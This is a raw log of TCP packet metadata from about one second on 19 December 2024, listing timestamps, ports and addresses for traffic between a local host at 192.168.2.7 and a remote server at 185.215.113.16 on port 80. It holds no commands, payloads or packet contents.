Dec 19, 2024 08:40:48.366239071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.367201090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.367257118 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.367513895 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.369553089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.369611025 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.369680882 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.371344090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.371397972 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.371516943 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.373766899 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.373862028 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.374159098 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.375986099 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.376053095 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.376147032 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.378345013 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.378393888 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.378691912 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.412157059 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.412220001 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.412400007 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.413388014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.413443089 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.444653988 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.444907904 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.445005894 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.445890903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.446163893 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.446223974 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.448096037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.448296070 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.448404074 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.450371981 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.450551987 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.450634956 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.452840090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.453196049 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.453257084 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.455004930 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.455203056 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.455266953 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.457278967 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.490562916 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.490623951 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.490715027 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.491765976 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.491909981 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.491972923 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.494132996 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.494221926 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.494318008 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.496368885 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.496491909 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.496545076 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.498697996 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.498749971 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.498845100 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.501130104 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.501213074 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.501239061 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.503335953 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.503393888 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.503542900 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.535646915 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.535770893 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.535861015 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.536680937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.537060976 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.569576979 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.569782972 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.569921970 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.570746899 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.570889950 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.571046114 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.573040009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.573224068 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.573275089 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.575366974 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.575534105 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.575591087 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.577668905 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.577848911 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.577894926 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.580041885 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.580281019 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.580339909 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.615219116 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.615690947 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.615776062 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.616540909 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.616780043 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.616838932 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.618690014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.618799925 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.618904114 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.620927095 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.621121883 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.621301889 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.623204947 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.623373985 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.623509884 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.625580072 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.625765085 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.625817060 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.627832890 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.627976894 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.628043890 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.660206079 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.660286903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.660413980 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.660835981 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.661006927 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.661063910 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.663662910 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.694046021 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.694232941 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.694330931 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.694674969 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.694737911 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.694901943 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.697222948 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.697314978 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.697319984 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.698705912 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.698784113 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.698959112 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.700779915 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.700845003 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.700967073 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.703187943 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.703249931 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.703260899 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.705383062 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.705454111 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.739892006 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.740164995 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.740395069 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.741108894 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.741282940 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.741693020 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.743388891 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.743537903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.744088888 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.745780945 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.745918989 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.745995998 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.747976065 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.748262882 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.748320103 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.750566959 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.750691891 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.750767946 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.752659082 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.752796888 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.753072023 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.791454077 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.791645050 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.791711092 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.792831898 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.793015003 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.793080091 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.794943094 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.818805933 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.818970919 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.819123030 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.819979906 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.820187092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.820242882 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.822314978 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.822380066 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.822474957 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.824048042 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.824213982 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.824215889 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.826419115 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.826509953 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.826590061 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.828737974 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.828808069 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.864716053 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.864826918 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.864954948 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.865802050 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.865974903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.866028070 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.868112087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.868284941 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.869069099 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.871063948 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.871236086 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.871437073 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.873119116 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.873270035 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.874783993 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.875116110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.875256062 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.875658989 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.877419949 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.891211033 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.891794920 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.891900063 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.916438103 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.916579962 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.916699886 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.917695999 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.917834044 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.917900085 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.919342995 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.919564009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.919620037 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.921678066 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.921818018 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.921880007 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.948178053 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.948227882 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.948257923 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.948328018 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.948345900 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.948378086 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.948405981 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.949851990 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.950033903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.950090885 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.952646017 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.953198910 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.953264952 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.955229998 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.959180117 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.989109039 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.989279032 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.989343882 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.990334034 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.990457058 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.990509033 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.991805077 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.991974115 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.992021084 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.994170904 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.994518042 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.994570971 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.996694088 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.996828079 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.996879101 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:48.998713970 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.998919964 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:48.998976946 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.001020908 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.001245022 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.001305103 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.043706894 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.043812990 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.043876886 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.045010090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.045200109 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.045212030 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.045259953 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.046252966 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.047066927 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.049518108 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.069583893 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.069622040 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.069638968 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.070096970 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.070166111 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.070307016 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.072253942 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.072305918 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.072400093 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.074155092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.074218988 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.074285984 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.076297045 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.076409101 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.076467991 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.113655090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.113854885 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.113985062 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.114789963 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.114924908 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.114989042 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.116282940 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.116462946 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.116524935 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.118638039 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.118832111 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.118896008 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.121107101 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.121316910 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.123274088 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.123279095 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.123615980 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.125915051 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.125977993 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.126108885 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.127958059 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.127969980 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.128036976 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.132843018 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.165692091 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.165863991 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.165967941 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.166826010 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.167052984 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.167130947 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.169192076 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.169430017 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.169483900 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.171449900 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.192751884 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.192821026 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.193001986 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.193878889 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.194070101 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.194216013 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.196232080 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.196484089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.196563005 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.198858023 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.198924065 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.198991060 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.232937098 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.233139038 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.233253956 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.238193989 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.238341093 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.238421917 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.239186049 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.239625931 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.239681959 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.239837885 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.241873026 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.241935968 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.241940022 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.244101048 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.244338036 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.244415998 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.246443033 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:49.247153044 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:49.247188091 CET	80	49732	185.215.113.16	192.168.2.7
